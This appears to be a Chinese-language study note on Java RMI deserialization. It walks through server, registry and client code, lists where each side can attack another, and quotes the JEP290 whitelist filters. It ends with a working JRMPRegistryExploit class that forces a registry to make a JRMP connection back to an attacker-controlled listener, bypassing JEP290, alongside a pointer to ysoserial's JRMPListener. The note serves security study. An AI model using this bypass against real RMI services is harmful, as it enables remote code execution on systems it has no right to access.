2024/03/01:java反序列化:RMI

随手记得笔记.jpg

参考b站白日梦组长

流程原理

代码示例

服务端&注册中心

很少有人会把这两个分开放

官方文档:

出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。

IRemoteObj.java:

1
2
3
4
5
6
7
8
9
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
//这是服务端和客户端都要有的接口

RemoteObjlmpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjlmpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjlmpl() throws RemoteException{
// super();
//如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法
}

@Override
public String sayHello(String keywords){
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
//这是服务端实现的远程调用类

RemoteServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjlmpl();
//创建远程对象,这里会完成一些跟网络请求相关的操作:
//1.会初始化一个类LiveRef,保存ip和一个随机端口,在之后不断封装调用
//2.封装的LiveRef会放在在UnicastServerRef父类UnicastRef里,通过动态代理创建stub,stub会放在注册中心让客户端拿(注意这个stub是远程调用类的stub)
//3.创建socket,多开线程,注意真正的代码逻辑的线程和网络请求的线程是独立的
//4.最后会创建DGCImpl对象,用于垃圾回收,会创建对应的stub,skel

Registry r = LocateRegistry.createRegistry(1099);//注册中心,默认端口1099
r.bind("remoteObj",remoteObj);//绑定到注册中心
//1.创建一个LiveRef再塞进UnicastServerRef里,与上类似
//2.初始化stub,这个stub是RegistryImpl_stub,然后创建skeleton
//3.大部分步骤与上相同
//4.最后用个hashtable完成绑定(bind)操作
}
}

客户端

IRemoteObj.java:

1
2
3
4
5
6
7
8
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

rmiclient.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmiclient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("Hello");
//1.客户端创建LiveRef,UnicastRef,根据host端口生成RegistryImpl_Stub,通过其查找注册中心远程对象
//2.客户端UnicastRef发起请求通信,从注册中心获取结果,异常时对输入流反序列化;没有异常的话,就正常返回RegistryImpl_Stub#lookup,获取数据流后反序列化,获得远程对象的动态代理对象RemoteObjStub
//3.注册中心根据Skel的不同调用对应的dispatch方法,那这里就会调用RegistryImpl_Skel#dispatch,这个方法有很多反序列化点
//4.在客户端调用了lookup,注册中心根据dispatch的逻辑,服务端会传递代理对象而不是远程对象本身(通过ConnectionOutputStream序列化,会调用replaceObject替换为动态代理对象)
//5.客户端远程方法调用,最后会调用UnicastRef里一个重载的invoke,它调用executeCall,存在反序列化点;invoke函数也可能调用存在反序列化点的unmarshalValue
//6.远程方法调用时服务端调用UnicastServerRef#dispatch,存在unmarshalValue函数
}
}

关于DGC

前面简要提及了客户端、服务端、注册中心调用流程的反序列化

DGC的Stub会在发布远程对象时自动生成,分别是DGCClient的EndpointEntry的构造函数里和DGCImpl静态代码块里

DGC客户端每次调用dirty时都有可能被DGC服务端攻击,8u141会有过滤器

DGC服务端调用dirty时也存在反序列化,DGC服务端可能被客户端攻击

触发点总结

攻击客户端

RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端

攻击服务端

UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端

攻击注册中心

RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心

高版本绕过

EP290

8u121之后,安全机制JEP290对RMI进行修复:

1.限制服务端和注册中心必须在同一host,这俩被强制绑定了

2.RegistryImpl_Skel里面的对象反序列化时会进行白名单校验

1
2
3
4
5
6
7
8
9
10
11
12
13
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

3.DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验

1
2
3
4
5
6
return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;

此时如何不受限制攻击客户端:

利用JRMP层的StreamRemoteCall#executeCall,由于触发点不在两个Impl里,可以直接绕过过滤

实施

流程如下:

构造恶意对象,让注册中心发起dirty请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 public class JRMPRegistryExploit {   
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
lookup(registry);//重写lookup
}

public static void lookup(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(genEvilJRMPObj());
ref.invoke(var2);

}

private static Object genEvilJRMPObj() {
LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false);
UnicastRef unicastRef = new UnicastRef(liveRef);
return unicastRef;
}
}

这样受害者成了JRMP客户端导致被攻击

恶意服务端可直接用ysoserial/exploit/JRMPListener